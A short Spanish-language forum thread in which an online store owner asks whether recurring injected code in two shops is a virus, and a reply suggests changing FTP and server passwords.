borré la tienda y la volví a instalar, cargué la base de datos y se arregló pero al dia siguiente a vuelto a salir el mismo codigo en ambas tiendas. quisiera preguntaros sí se trata de un virus.

 

[eHoko.es]

yo creo que si

pero ¿cambiaste las contraseñas de acceso ftp y del servidor?

si no tendrás que repetir la operación cambiando las claves ya

bueno alguien sabrá mejor que yo

Hola, las he cambiado ahora, he estado leyendo sobre el tema y es posible que accediesen mediante el ftp a las 2 tiendas. Espero que cambiando las claves se solucione. Gracias por la respuesta.
